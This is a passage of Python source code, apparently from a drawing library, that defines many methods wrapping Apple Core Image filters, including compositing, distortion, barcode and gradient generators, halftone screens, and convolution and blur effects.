dict() if backgroundImage: attr["inputBackgroundImage"] = backgroundImage._ciImage() filterDict = dict(name="CISourceInCompositing", attributes=attr) self._addFilter(filterDict) def sourceOutCompositing(self, backgroundImage=None): """ Uses the background image to define what to take out of the input image. Attributes: `backgroundImage` an Image object. """ attr = dict() if backgroundImage: attr["inputBackgroundImage"] = backgroundImage._ciImage() filterDict = dict(name="CISourceOutCompositing", attributes=attr) self._addFilter(filterDict) def sourceOverCompositing(self, backgroundImage=None): """ Places the input image over the input background image. Attributes: `backgroundImage` an Image object. """ attr = dict() if backgroundImage: attr["inputBackgroundImage"] = backgroundImage._ciImage() filterDict = dict(name="CISourceOverCompositing", attributes=attr) self._addFilter(filterDict) def subtractBlendMode(self, backgroundImage=None): """ Subtracts the background image sample color from the source image sample color. Attributes: `backgroundImage` an Image object. """ attr = dict() if backgroundImage: attr["inputBackgroundImage"] = backgroundImage._ciImage() filterDict = dict(name="CISubtractBlendMode", attributes=attr) self._addFilter(filterDict) def bumpDistortion(self, center=None, radius=None, scale=None): """ Creates a bump that originates at a specified point in the image. Attributes: `center` a tuple (x, y), `radius` a float, `scale` a float. """ attr = dict() if center: attr["inputCenter"] = AppKit.CIVector.vectorWithX_Y_(center[0], center[1]) if radius: attr["inputRadius"] = radius if scale: attr["inputScale"] = scale filterDict = dict(name="CIBumpDistortion", attributes=attr) self._addFilter(filterDict) def bumpDistortionLinear(self, center=None, radius=None, angle=None, scale=None): """ Creates a concave or convex distortion that originates from a line in the image. Attributes: `center` a tuple (x, y), `radius` a float, `angle` a float in degrees, `scale` a float. """ attr = dict() if center: attr["inputCenter"] = AppKit.CIVector.vectorWithX_Y_(center[0], center[1]) if radius: attr["inputRadius"] = radius if angle: attr["inputAngle"] = radians(angle) if scale: attr["inputScale"] = scale filterDict = dict(name="CIBumpDistortionLinear", attributes=attr) self._addFilter(filterDict) def circleSplashDistortion(self, center=None, radius=None): """ Distorts the pixels starting at the circumference of a circle and emanating outward. Attributes: `center` a tuple (x, y), `radius` a float. """ attr = dict() if center: attr["inputCenter"] = AppKit.CIVector.vectorWithX_Y_(center[0], center[1]) if radius: attr["inputRadius"] = radius filterDict = dict(name="CICircleSplashDistortion", attributes=attr) self._addFilter(filterDict) def circularWrap(self, center=None, radius=None, angle=None): """ Wraps an image around a transparent circle. Attributes: `center` a tuple (x, y), `radius` a float, `angle` a float in degrees. """ attr = dict() if center: attr["inputCenter"] = AppKit.CIVector.vectorWithX_Y_(center[0], center[1]) if radius: attr["inputRadius"] = radius if angle: attr["inputAngle"] = radians(angle) filterDict = dict(name="CICircularWrap", attributes=attr) self._addFilter(filterDict) def droste(self, insetPoint0=None, insetPoint1=None, strands=None, periodicity=None, rotation=None, zoom=None): """ Recursively draws a portion of an image in imitation of an M. C. Escher drawing. Attributes: `insetPoint0` a tuple (x, y), `insetPoint1` a tuple (x, y), `strands` a float, `periodicity` a float, `rotation` a float, `zoom` a float. """ attr = dict() if insetPoint0: attr["inputInsetPoint0"] = AppKit.CIVector.vectorWithValues_count_(insetPoint0, 2) if insetPoint1: attr["inputInsetPoint1"] = AppKit.CIVector.vectorWithValues_count_(insetPoint1, 2) if strands: attr["inputStrands"] = strands if periodicity: attr["inputPeriodicity"] = periodicity if rotation: attr["inputRotation"] = rotation if zoom: attr["inputZoom"] = zoom filterDict = dict(name="CIDroste", attributes=attr) self._addFilter(filterDict) def displacementDistortion(self, displacementImage=None, scale=None): """ Applies the grayscale values of the second image to the first image. Attributes: `displacementImage` an Image object, `scale` a float. """ attr = dict() if displacementImage: attr["inputDisplacementImage"] = displacementImage._ciImage() if scale: attr["inputScale"] = scale filterDict = dict(name="CIDisplacementDistortion", attributes=attr) self._addFilter(filterDict) def glassDistortion(self, texture=None, center=None, scale=None): """ Distorts an image by applying a glass-like texture. Attributes: `texture` an Image object, `center` a tuple (x, y), `scale` a float. """ attr = dict() if texture: attr["inputTexture"] = texture._ciImage() if center: attr["inputCenter"] = AppKit.CIVector.vectorWithX_Y_(center[0], center[1]) if scale: attr["inputScale"] = scale filterDict = dict(name="CIGlassDistortion", attributes=attr) self._addFilter(filterDict) def glassLozenge(self, point0=None, point1=None, radius=None, refraction=None): """ Creates a lozenge-shaped lens and distorts the portion of the image over which the lens is placed. Attributes: `point0` a tuple (x, y), `point1` a tuple (x, y), `radius` a float, `refraction` a float. """ attr = dict() if point0: attr["inputPoint0"] = AppKit.CIVector.vectorWithValues_count_(point0, 2) if point1: attr["inputPoint1"] = AppKit.CIVector.vectorWithValues_count_(point1, 2) if radius: attr["inputRadius"] = radius if refraction: attr["inputRefraction"] = refraction filterDict = dict(name="CIGlassLozenge", attributes=attr) self._addFilter(filterDict) def holeDistortion(self, center=None, radius=None): """ Creates a circular area that pushes the image pixels outward, distorting those pixels closest to the circle the most. Attributes: `center` a tuple (x, y), `radius` a float. """ attr = dict() if center: attr["inputCenter"] = AppKit.CIVector.vectorWithX_Y_(center[0], center[1]) if radius: attr["inputRadius"] = radius filterDict = dict(name="CIHoleDistortion", attributes=attr) self._addFilter(filterDict) def pinchDistortion(self, center=None, radius=None, scale=None): """ Creates a rectangular area that pinches source pixels inward, distorting those pixels closest to the rectangle the most. Attributes: `center` a tuple (x, y), `radius` a float, `scale` a float. """ attr = dict() if center: attr["inputCenter"] = AppKit.CIVector.vectorWithX_Y_(center[0], center[1]) if radius: attr["inputRadius"] = radius if scale: attr["inputScale"] = scale filterDict = dict(name="CIPinchDistortion", attributes=attr) self._addFilter(filterDict) def stretchCrop(self, size=None, cropAmount=None, centerStretchAmount=None): """ Distorts an image by stretching and or cropping it to fit a target size. Attributes: `size`, `cropAmount` a float, `centerStretchAmount` a float. """ attr = dict() if size: attr["inputSize"] = size if cropAmount: attr["inputCropAmount"] = cropAmount if centerStretchAmount: attr["inputCenterStretchAmount"] = centerStretchAmount filterDict = dict(name="CIStretchCrop", attributes=attr) self._addFilter(filterDict) def torusLensDistortion(self, center=None, radius=None, width=None, refraction=None): """ Creates a torus-shaped lens and distorts the portion of the image over which the lens is placed. Attributes: `center` a tuple (x, y), `radius` a float, `width` a float, `refraction` a float. """ attr = dict() if center: attr["inputCenter"] = AppKit.CIVector.vectorWithX_Y_(center[0], center[1]) if radius: attr["inputRadius"] = radius if width: attr["inputWidth"] = width if refraction: attr["inputRefraction"] = refraction filterDict = dict(name="CITorusLensDistortion", attributes=attr) self._addFilter(filterDict) def twirlDistortion(self, center=None, radius=None, angle=None): """ Rotates pixels around a point to give a twirling effect. Attributes: `center` a tuple (x, y), `radius` a float, `angle` a float in degrees. """ attr = dict() if center: attr["inputCenter"] = AppKit.CIVector.vectorWithX_Y_(center[0], center[1]) if radius: attr["inputRadius"] = radius if angle: attr["inputAngle"] = radians(angle) filterDict = dict(name="CITwirlDistortion", attributes=attr) self._addFilter(filterDict) def vortexDistortion(self, center=None, radius=None, angle=None): """ Rotates pixels around a point to simulate a vortex. Attributes: `center` a tuple (x, y), `radius` a float, `angle` a float in degrees. """ attr = dict() if center: attr["inputCenter"] = AppKit.CIVector.vectorWithX_Y_(center[0], center[1]) if radius: attr["inputRadius"] = radius if angle: attr["inputAngle"] = angle filterDict = dict(name="CIVortexDistortion", attributes=attr) self._addFilter(filterDict) def aztecCodeGenerator(self, size, message=None, correctionLevel=None, layers=None, compactStyle=None): """ Generates an Aztec code (two-dimensional barcode) from input data. Attributes: `message` a string, `correctionLevel` a float, `layers` a float, `compactStyle` a bool. """ attr = dict() if message: attr["inputMessage"] = AppKit.NSData.dataWithBytes_length_(message, len(message)) if correctionLevel: attr["inputCorrectionLevel"] = correctionLevel if layers: attr["inputLayers"] = layers if compactStyle: attr["inputCompactStyle"] = compactStyle filterDict = dict(name="CIAztecCodeGenerator", attributes=attr) filterDict["size"] = size filterDict["isGenerator"] = True self._addFilter(filterDict) def QRCodeGenerator(self, size, message=None, correctionLevel=None): """ Generates a Quick Response code (two-dimensional barcode) from input data. Attributes: `message` a string, `correctionLevel` a float. """ attr = dict() if message: attr["inputMessage"] = AppKit.NSData.dataWithBytes_length_(message, len(message)) if correctionLevel: attr["inputCorrectionLevel"] = correctionLevel filterDict = dict(name="CIQRCodeGenerator", attributes=attr) filterDict["size"] = size filterDict["isGenerator"] = True self._addFilter(filterDict) def code128BarcodeGenerator(self, size, message=None, quietSpace=None): """ Generates a Code 128 one-dimensional barcode from input data. Attributes: `message` a string, `quietSpace` a float. """ attr = dict() if message: attr["inputMessage"] = AppKit.NSData.dataWithBytes_length_(message, len(message)) if quietSpace: attr["inputQuietSpace"] = quietSpace filterDict = dict(name="CICode128BarcodeGenerator", attributes=attr) filterDict["size"] = size filterDict["isGenerator"] = True self._addFilter(filterDict) def checkerboardGenerator(self, size, center=None, color0=None, color1=None, width=None, sharpness=None): """ Generates a checkerboard pattern. Attributes: `center` a tuple (x, y), `color0` RGBA tuple Color (r, g, b, a), `color1` RGBA tuple Color (r, g, b, a), `width` a float, `sharpness` a float. """ attr = dict() if center: attr["inputCenter"] = AppKit.CIVector.vectorWithX_Y_(center[0], center[1]) if color0: attr["inputColor0"] = AppKit.CIColor.colorWithRed_green_blue_alpha_(color0[0], color0[1], color0[2], color0[3]) if color1: attr["inputColor1"] = AppKit.CIColor.colorWithRed_green_blue_alpha_(color1[0], color1[1], color1[2], color1[3]) if width: attr["inputWidth"] = width if sharpness: attr["inputSharpness"] = sharpness filterDict = dict(name="CICheckerboardGenerator", attributes=attr) filterDict["size"] = size filterDict["isGenerator"] = True self._addFilter(filterDict) def constantColorGenerator(self, size, color=None): """ Generates a solid color. Attributes: `color` RGBA tuple Color (r, g, b, a). """ attr = dict() if color: attr["inputColor"] = AppKit.CIColor.colorWithRed_green_blue_alpha_(color[0], color[1], color[2], color[3]) filterDict = dict(name="CIConstantColorGenerator", attributes=attr) filterDict["size"] = size filterDict["isGenerator"] = True self._addFilter(filterDict) def lenticularHaloGenerator(self, size, center=None, color=None, haloRadius=None, haloWidth=None, haloOverlap=None, striationStrength=None, striationContrast=None, time=None): """ Simulates a lens flare. Attributes: `center` a tuple (x, y), `color` RGBA tuple Color (r, g, b, a), `haloRadius` a float, `haloWidth` a float, `haloOverlap` a float, `striationStrength` a float, `striationContrast` a float, `time` a float. """ attr = dict() if center: attr["inputCenter"] = AppKit.CIVector.vectorWithX_Y_(center[0], center[1]) if color: attr["inputColor"] = AppKit.CIColor.colorWithRed_green_blue_alpha_(color[0], color[1], color[2], color[3]) if haloRadius: attr["inputHaloRadius"] = haloRadius if haloWidth: attr["inputHaloWidth"] = haloWidth if haloOverlap: attr["inputHaloOverlap"] = haloOverlap if striationStrength: attr["inputStriationStrength"] = striationStrength if striationContrast: attr["inputStriationContrast"] = striationContrast if time: attr["inputTime"] = time filterDict = dict(name="CILenticularHaloGenerator", attributes=attr) filterDict["size"] = size filterDict["isGenerator"] = True self._addFilter(filterDict) def PDF417BarcodeGenerator(self, size, message=None, minWidth=None, maxWidth=None, minHeight=None, maxHeight=None, dataColumns=None, rows=None, preferredAspectRatio=None, compactionMode=None, compactStyle=None, correctionLevel=None, alwaysSpecifyCompaction=None): """ Generates a PDF417 code (two-dimensional barcode) from input data. Attributes: `message` a string, `minWidth` a float, `maxWidth` a float, `minHeight` a float, `maxHeight` a float, `dataColumns` a float, `rows` a float, `preferredAspectRatio` a float, `compactionMode` a float, `compactStyle` a bool, `correctionLevel` a float, `alwaysSpecifyCompaction` a bool. """ attr = dict() if message: attr["inputMessage"] = AppKit.NSData.dataWithBytes_length_(message, len(message)) if minWidth: attr["inputMinWidth"] = minWidth if maxWidth: attr["inputMaxWidth"] = maxWidth if minHeight: attr["inputMinHeight"] = minHeight if maxHeight: attr["inputMaxHeight"] = maxHeight if dataColumns: attr["inputDataColumns"] = dataColumns if rows: attr["inputRows"] = rows if preferredAspectRatio: attr["inputPreferredAspectRatio"] = preferredAspectRatio if compactionMode: attr["inputCompactionMode"] = compactionMode if compactStyle: attr["inputCompactStyle"] = compactStyle if correctionLevel: attr["inputCorrectionLevel"] = correctionLevel if alwaysSpecifyCompaction: attr["inputAlwaysSpecifyCompaction"] = alwaysSpecifyCompaction filterDict = dict(name="CIPDF417BarcodeGenerator", attributes=attr) filterDict["size"] = size filterDict["isGenerator"] = True self._addFilter(filterDict) def randomGenerator(self, size): """ Generates an image of infinite extent whose pixel values are made up of four independent, uniformly-distributed random numbers in the 0 to 1 range. """ attr = dict() filterDict = dict(name="CIRandomGenerator", attributes=attr) filterDict["size"] = size filterDict["isGenerator"] = True self._addFilter(filterDict) def starShineGenerator(self, size, center=None, color=None, radius=None, crossScale=None, crossAngle=None, crossOpacity=None, crossWidth=None, epsilon=None): """ Generates a starburst pattern that is similar to a supernova; can be used to simulate a lens flare. Attributes: `center` a tuple (x, y), `color` RGBA tuple Color (r, g, b, a), `radius` a float, `crossScale` a float, `crossAngle` a float in degrees, `crossOpacity` a float, `crossWidth` a float, `epsilon` a float. """ attr = dict() if center: attr["inputCenter"] = AppKit.CIVector.vectorWithX_Y_(center[0], center[1]) if color: attr["inputColor"] = AppKit.CIColor.colorWithRed_green_blue_alpha_(color[0], color[1], color[2], color[3]) if radius: attr["inputRadius"] = radius if crossScale: attr["inputCrossScale"] = crossScale if crossAngle: attr["inputCrossAngle"] = radians(crossAngle) if crossOpacity: attr["inputCrossOpacity"] = crossOpacity if crossWidth: attr["inputCrossWidth"] = crossWidth if epsilon: attr["inputEpsilon"] = epsilon filterDict = dict(name="CIStarShineGenerator", attributes=attr) filterDict["size"] = size filterDict["isGenerator"] = True self._addFilter(filterDict) def stripesGenerator(self, size, center=None, color0=None, color1=None, width=None, sharpness=None): """ Generates a stripe pattern. Attributes: `center` a tuple (x, y), `color0` RGBA tuple Color (r, g, b, a), `color1` RGBA tuple Color (r, g, b, a), `width` a float, `sharpness` a float. """ attr = dict() if center: attr["inputCenter"] = AppKit.CIVector.vectorWithX_Y_(center[0], center[1]) if color0: attr["inputColor0"] = AppKit.CIColor.colorWithRed_green_blue_alpha_(color0[0], color0[1], color0[2], color0[3]) if color1: attr["inputColor1"] = AppKit.CIColor.colorWithRed_green_blue_alpha_(color1[0], color1[1], color1[2], color1[3]) if width: attr["inputWidth"] = width if sharpness: attr["inputSharpness"] = sharpness filterDict = dict(name="CIStripesGenerator", attributes=attr) filterDict["size"] = size filterDict["isGenerator"] = True self._addFilter(filterDict) def sunbeamsGenerator(self, size, center=None, color=None, sunRadius=None, maxStriationRadius=None, striationStrength=None, striationContrast=None, time=None): """ Generates a sun effect. Attributes: `center` a tuple (x, y), `color` RGBA tuple Color (r, g, b, a), `sunRadius` a float, `maxStriationRadius` a float, `striationStrength` a float, `striationContrast` a float, `time` a float. """ attr = dict() if center: attr["inputCenter"] = AppKit.CIVector.vectorWithX_Y_(center[0], center[1]) if color: attr["inputColor"] = AppKit.CIColor.colorWithRed_green_blue_alpha_(color[0], color[1], color[2], color[3]) if sunRadius: attr["inputSunRadius"] = sunRadius if maxStriationRadius: attr["inputMaxStriationRadius"] = maxStriationRadius if striationStrength: attr["inputStriationStrength"] = striationStrength if striationContrast: attr["inputStriationContrast"] = striationContrast if time: attr["inputTime"] = time filterDict = dict(name="CISunbeamsGenerator", attributes=attr) filterDict["size"] = size filterDict["isGenerator"] = True self._addFilter(filterDict) def crop(self, rectangle=None): """ Applies a crop to an image. Attributes: `rectangle` a tuple (x, y, w, h). """ attr = dict() if rectangle: attr["inputRectangle"] = AppKit.CIVector.vectorWithValues_count_(rectangle, 4) filterDict = dict(name="CICrop", attributes=attr) self._addFilter(filterDict) def lanczosScaleTransform(self, scale=None, aspectRatio=None): """ Produces a high-quality, scaled version of a source image. Attributes: `scale` a float, `aspectRatio` a float. """ attr = dict() if scale: attr["inputScale"] = scale if aspectRatio: attr["inputAspectRatio"] = aspectRatio filterDict = dict(name="CILanczosScaleTransform", attributes=attr) self._addFilter(filterDict) def perspectiveCorrection(self, topLeft=None, topRight=None, bottomRight=None, bottomLeft=None): """ Applies a perspective correction, transforming an arbitrary quadrilateral region in the source image to a rectangular output image. Attributes: `topLeft` a tuple (x, y), `topRight` a tuple (x, y), `bottomRight` a tuple (x, y), `bottomLeft` a tuple (x, y). """ attr = dict() if topLeft: attr["inputTopLeft"] = AppKit.CIVector.vectorWithValues_count_(topLeft, 2) if topRight: attr["inputTopRight"] = AppKit.CIVector.vectorWithValues_count_(topRight, 2) if bottomRight: attr["inputBottomRight"] = AppKit.CIVector.vectorWithValues_count_(bottomRight, 2) if bottomLeft: attr["inputBottomLeft"] = AppKit.CIVector.vectorWithValues_count_(bottomLeft, 2) filterDict = dict(name="CIPerspectiveCorrection", attributes=attr) self._addFilter(filterDict) def perspectiveTransform(self, topLeft=None, topRight=None, bottomRight=None, bottomLeft=None): """ Alters the geometry of an image to simulate the observer changing viewing position. Attributes: `topLeft` a tuple (x, y), `topRight` a tuple (x, y), `bottomRight` a tuple (x, y), `bottomLeft` a tuple (x, y). """ attr = dict() if topLeft: attr["inputTopLeft"] = AppKit.CIVector.vectorWithValues_count_(topLeft, 2) if topRight: attr["inputTopRight"] = AppKit.CIVector.vectorWithValues_count_(topRight, 2) if bottomRight: attr["inputBottomRight"] = AppKit.CIVector.vectorWithValues_count_(bottomRight, 2) if bottomLeft: attr["inputBottomLeft"] = AppKit.CIVector.vectorWithValues_count_(bottomLeft, 2) filterDict = dict(name="CIPerspectiveTransform", attributes=attr) self._addFilter(filterDict) def straightenFilter(self, angle=None): """ Rotates the source image by the specified angle in radians. Attributes: `angle` a float in degrees. """ attr = dict() if angle: attr["inputAngle"] = radians(angle) filterDict = dict(name="CIStraightenFilter", attributes=attr) self._addFilter(filterDict) def gaussianGradient(self, size, center=None, color0=None, color1=None, radius=None): """ Generates a gradient that varies from one color to another using a Gaussian distribution. Attributes: `center` a tuple (x, y), `color0` RGBA tuple Color (r, g, b, a), `color1` RGBA tuple Color (r, g, b, a), `radius` a float. """ attr = dict() if center: attr["inputCenter"] = AppKit.CIVector.vectorWithX_Y_(center[0], center[1]) if color0: attr["inputColor0"] = AppKit.CIColor.colorWithRed_green_blue_alpha_(color0[0], color0[1], color0[2], color0[3]) if color1: attr["inputColor1"] = AppKit.CIColor.colorWithRed_green_blue_alpha_(color1[0], color1[1], color1[2], color1[3]) if radius: attr["inputRadius"] = radius filterDict = dict(name="CIGaussianGradient", attributes=attr) filterDict["size"] = size filterDict["isGenerator"] = True self._addFilter(filterDict) def linearGradient(self, size, point0=None, point1=None, color0=None, color1=None): """ Generates a gradient that varies along a linear axis between two defined endpoints. Attributes: `point0` a tuple (x, y), `point1` a tuple (x, y), `color0` RGBA tuple Color (r, g, b, a), `color1` RGBA tuple Color (r, g, b, a). """ attr = dict() if point0: attr["inputPoint0"] = AppKit.CIVector.vectorWithValues_count_(point0, 2) if point1: attr["inputPoint1"] = AppKit.CIVector.vectorWithValues_count_(point1, 2) if color0: attr["inputColor0"] = AppKit.CIColor.colorWithRed_green_blue_alpha_(color0[0], color0[1], color0[2], color0[3]) if color1: attr["inputColor1"] = AppKit.CIColor.colorWithRed_green_blue_alpha_(color1[0], color1[1], color1[2], color1[3]) filterDict = dict(name="CILinearGradient", attributes=attr) filterDict["size"] = size filterDict["isGenerator"] = True self._addFilter(filterDict) def radialGradient(self, size, center=None, radius0=None, radius1=None, color0=None, color1=None): """ Generates a gradient that varies radially between two circles having the same center. Attributes: `center` a tuple (x, y), `radius0` a float, `radius1` a float, `color0` RGBA tuple Color (r, g, b, a), `color1` RGBA tuple Color (r, g, b, a). """ attr = dict() if center: attr["inputCenter"] = AppKit.CIVector.vectorWithX_Y_(center[0], center[1]) if radius0: attr["inputRadius0"] = radius0 if radius1: attr["inputRadius1"] = radius1 if color0: attr["inputColor0"] = AppKit.CIColor.colorWithRed_green_blue_alpha_(color0[0], color0[1], color0[2], color0[3]) if color1: attr["inputColor1"] = AppKit.CIColor.colorWithRed_green_blue_alpha_(color1[0], color1[1], color1[2], color1[3]) filterDict = dict(name="CIRadialGradient", attributes=attr) filterDict["size"] = size filterDict["isGenerator"] = True self._addFilter(filterDict) def circularScreen(self, center=None, width=None, sharpness=None): """ Simulates a circular-shaped halftone screen. Attributes: `center` a tuple (x, y), `width` a float, `sharpness` a float. """ attr = dict() if center: attr["inputCenter"] = AppKit.CIVector.vectorWithX_Y_(center[0], center[1]) if width: attr["inputWidth"] = width if sharpness: attr["inputSharpness"] = sharpness filterDict = dict(name="CICircularScreen", attributes=attr) self._addFilter(filterDict) def CMYKHalftone(self, center=None, width=None, angle=None, sharpness=None, GCR=None, UCR=None): """ Creates a color, halftoned rendition of the source image, using cyan, magenta, yellow, and black inks over a white page. Attributes: `center` a tuple (x, y), `width` a float, `angle` a float in degrees, `sharpness` a float, `GCR` a float, `UCR` a float. """ attr = dict() if center: attr["inputCenter"] = AppKit.CIVector.vectorWithX_Y_(center[0], center[1]) if width: attr["inputWidth"] = width if angle: attr["inputAngle"] = radians(angle) if sharpness: attr["inputSharpness"] = sharpness if GCR: attr["inputGCR"] = GCR if UCR: attr["inputUCR"] = UCR filterDict = dict(name="CICMYKHalftone", attributes=attr) self._addFilter(filterDict) def dotScreen(self, center=None, angle=None, width=None, sharpness=None): """ Simulates the dot patterns of a halftone screen. Attributes: `center` a tuple (x, y), `angle` a float in degrees, `width` a float, `sharpness` a float. """ attr = dict() if center: attr["inputCenter"] = AppKit.CIVector.vectorWithX_Y_(center[0], center[1]) if angle: attr["inputAngle"] = radians(angle) if width: attr["inputWidth"] = width if sharpness: attr["inputSharpness"] = sharpness filterDict = dict(name="CIDotScreen", attributes=attr) self._addFilter(filterDict) def hatchedScreen(self, center=None, angle=None, width=None, sharpness=None): """ Simulates the hatched pattern of a halftone screen. Attributes: `center` a tuple (x, y), `angle` a float in degrees, `width` a float, `sharpness` a float. """ attr = dict() if center: attr["inputCenter"] = AppKit.CIVector.vectorWithX_Y_(center[0], center[1]) if angle: attr["inputAngle"] = radians(angle) if width: attr["inputWidth"] = width if sharpness: attr["inputSharpness"] = sharpness filterDict = dict(name="CIHatchedScreen", attributes=attr) self._addFilter(filterDict) def lineScreen(self, center=None, angle=None, width=None, sharpness=None): """ Simulates the line pattern of a halftone screen. Attributes: `center` a tuple (x, y), `angle` a float in degrees, `width` a float, `sharpness` a float. """ attr = dict() if center: attr["inputCenter"] = AppKit.CIVector.vectorWithX_Y_(center[0], center[1]) if angle: attr["inputAngle"] = radians(angle) if width: attr["inputWidth"] = width if sharpness: attr["inputSharpness"] = sharpness filterDict = dict(name="CILineScreen", attributes=attr) self._addFilter(filterDict) def areaAverage(self, extent=None): """ Returns a single-pixel image that contains the average color for the region of interest. Attributes: `extent` a tuple (x, y, w, h). """ attr = dict() if extent: attr["inputExtent"] = AppKit.CIVector.vectorWithValues_count_(extent, 4) filterDict = dict(name="CIAreaAverage", attributes=attr) self._addFilter(filterDict) def areaHistogram(self, extent=None, count=None, scale=None): """ Returns a 1D image (inputCount wide by one pixel high) that contains the component-wise histogram computed for the specified rectangular area. Attributes: `extent` a tuple (x, y, w, h), `count` a float, `scale` a float. """ attr = dict() if extent: attr["inputExtent"] = AppKit.CIVector.vectorWithValues_count_(extent, 4) if count: attr["inputCount"] = count if scale: attr["inputScale"] = scale filterDict = dict(name="CIAreaHistogram", attributes=attr) self._addFilter(filterDict) def rowAverage(self, extent=None): """ Returns a 1-pixel high image that contains the average color for each scan row. Attributes: `extent` a tuple (x, y, w, h). """ attr = dict() if extent: attr["inputExtent"] = AppKit.CIVector.vectorWithValues_count_(extent, 4) filterDict = dict(name="CIRowAverage", attributes=attr) self._addFilter(filterDict) def columnAverage(self, extent=None): """ Returns a 1-pixel high image that contains the average color for each scan column. Attributes: `extent` a tuple (x, y, w, h). """ attr = dict() if extent: attr["inputExtent"] = AppKit.CIVector.vectorWithValues_count_(extent, 4) filterDict = dict(name="CIColumnAverage", attributes=attr) self._addFilter(filterDict) def histogramDisplayFilter(self, height=None, highLimit=None, lowLimit=None): """ Generates a histogram image from the output of the `areaHistogram` filter. Attributes: `height` a float, `highLimit` a float, `lowLimit` a float. """ attr = dict() if height: attr["inputHeight"] = height if highLimit: attr["inputHighLimit"] = highLimit if lowLimit: attr["inputLowLimit"] = lowLimit filterDict = dict(name="CIHistogramDisplayFilter", attributes=attr) self._addFilter(filterDict) def areaMaximum(self, extent=None): """ Returns a single-pixel image that contains the maximum color components for the region of interest. Attributes: `extent` a tuple (x, y, w, h). """ attr = dict() if extent: attr["inputExtent"] = AppKit.CIVector.vectorWithValues_count_(extent, 4) filterDict = dict(name="CIAreaMaximum", attributes=attr) self._addFilter(filterDict) def areaMinimum(self, extent=None): """ Returns a single-pixel image that contains the minimum color components for the region of interest. Attributes: `extent` a tuple (x, y, w, h). """ attr = dict() if extent: attr["inputExtent"] = AppKit.CIVector.vectorWithValues_count_(extent, 4) filterDict = dict(name="CIAreaMinimum", attributes=attr) self._addFilter(filterDict) def areaMaximumAlpha(self, extent=None): """ Returns a single-pixel image that contains the color vector with the maximum alpha value for the region of interest. Attributes: `extent` a tuple (x, y, w, h). """ attr = dict() if extent: attr["inputExtent"] = AppKit.CIVector.vectorWithValues_count_(extent, 4) filterDict = dict(name="CIAreaMaximumAlpha", attributes=attr) self._addFilter(filterDict) def areaMinimumAlpha(self, extent=None): """ Returns a single-pixel image that contains the color vector with the minimum alpha value for the region of interest. Attributes: `extent` a tuple (x, y, w, h). """ attr = dict() if extent: attr["inputExtent"] = AppKit.CIVector.vectorWithValues_count_(extent, 4) filterDict = dict(name="CIAreaMinimumAlpha", attributes=attr) self._addFilter(filterDict) def sharpenLuminance(self, sharpness=None): """ Increases image detail by sharpening. Attributes: `sharpness` a float. """ attr = dict() if sharpness: attr["inputSharpness"] = sharpness filterDict = dict(name="CISharpenLuminance", attributes=attr) self._addFilter(filterDict) def unsharpMask(self, radius=None, intensity=None): """ Increases the contrast of the edges between pixels of different colors in an image. Attributes: `radius` a float, `intensity` a float. """ attr = dict() if radius: attr["inputRadius"] = radius if intensity: attr["inputIntensity"] = intensity filterDict = dict(name="CIUnsharpMask", attributes=attr) self._addFilter(filterDict) def blendWithAlphaMask(self, backgroundImage=None, maskImage=None): """ Uses alpha values from a mask to interpolate between an image and the background. Attributes: `backgroundImage` an Image object, `maskImage` an Image object. """ attr = dict() if backgroundImage: attr["inputBackgroundImage"] = backgroundImage._ciImage() if maskImage: attr["inputMaskImage"] = maskImage._ciImage() filterDict = dict(name="CIBlendWithAlphaMask", attributes=attr) self._addFilter(filterDict) def blendWithMask(self, backgroundImage=None, maskImage=None): """ Uses values from a grayscale mask to interpolate between an image and the background. Attributes: `backgroundImage` an Image object, `maskImage` an Image object. """ attr = dict() if backgroundImage: attr["inputBackgroundImage"] = backgroundImage._ciImage() if maskImage: attr["inputMaskImage"] = maskImage._ciImage() filterDict = dict(name="CIBlendWithMask", attributes=attr) self._addFilter(filterDict) def bloom(self, radius=None, intensity=None): """ Softens edges and applies a pleasant glow to an image. Attributes: `radius` a float, `intensity` a float. """ attr = dict() if radius: attr["inputRadius"] = radius if intensity: attr["inputIntensity"] = intensity filterDict = dict(name="CIBloom", attributes=attr) self._addFilter(filterDict) def comicEffect(self): """ Simulates a comic book drawing by outlining edges and applying a color halftone effect. """ attr = dict() filterDict = dict(name="CIComicEffect", attributes=attr) self._addFilter(filterDict) def convolution3X3(self, weights=None, bias=None): """ Modifies pixel values by performing a 3x3 matrix convolution. Attributes: `weights` a float, `bias` a float. """ attr = dict() if weights: attr["inputWeights"] = weights if bias: attr["inputBias"] = bias filterDict = dict(name="CIConvolution3X3", attributes=attr) self._addFilter(filterDict) def convolution5X5(self, weights=None, bias=None): """ Modifies pixel values by performing a 5x5 matrix convolution. Attributes: `weights` a float, `bias` a float. """ attr = dict() if weights: attr["inputWeights"] = weights if bias: attr["inputBias"] = bias filterDict = dict(name="CIConvolution5X5", attributes=attr) self._addFilter(filterDict) def convolution7X7(self, weights=None, bias=None): """ Modifies pixel values by performing a 7x7 matrix convolution. Attributes: `weights` a float, `bias` a float. """ attr = dict() if weights: attr["inputWeights"] = weights if bias: attr["inputBias"] = bias filterDict = dict(name="CIConvolution7X7", attributes=attr) self._addFilter(filterDict) def convolution9Horizontal(self, weights=None, bias=None): """ Modifies pixel values by performing a 9-element horizontal convolution. Attributes: `weights` a float, `bias` a float. """ attr = dict() if weights: attr["inputWeights"] = weights if bias: attr["inputBias"] = bias filterDict = dict(name="CIConvolution9Horizontal", attributes=attr) self._addFilter(filterDict) def convolution9Vertical(self, weights=None, bias=None): """ Modifies pixel values by performing a 9-element vertical convolution. Attributes: `weights` a float, `bias` a float. """ attr = dict() if weights: attr["inputWeights"] = weights if bias: attr["inputBias"] = bias filterDict = dict(name="CIConvolution9Vertical", attributes=attr) self._addFilter(filterDict) def crystallize(self, radius=None, center=None): """ Creates polygon-shaped color blocks by aggregating source pixel-color values. Attributes: `radius` a float, `center` a tuple (x, y). """ attr = dict() if radius: attr["inputRadius"] = radius if center: attr["inputCenter"] = AppKit.CIVector.vectorWithX_Y_(center[0], center[1]) filterDict = dict(name="CICrystallize", attributes=attr) self._addFilter(filterDict) def depthOfField(self, point0=None, point1=None, saturation=None, unsharpMaskRadius=None, unsharpMaskIntensity=None, radius=None): """ Simulates a depth of field effect. Attributes: `point0` a tuple (x, y), `point1` a tuple (x, y), `saturation` a float, `unsharpMaskRadius` a float, `unsharpMaskIntensity` a float, `radius` a float. """ attr = dict() if point0: attr["inputPoint0"] = AppKit.CIVector.vectorWithValues_count_(point0, 2) if point1: attr["inputPoint1"] = AppKit.CIVector.vectorWithValues_count_(point1, 2) if saturation: attr["inputSaturation"] = saturation if unsharpMaskRadius: attr["inputUnsharpMaskRadius"] = unsharpMaskRadius if unsharpMaskIntensity: 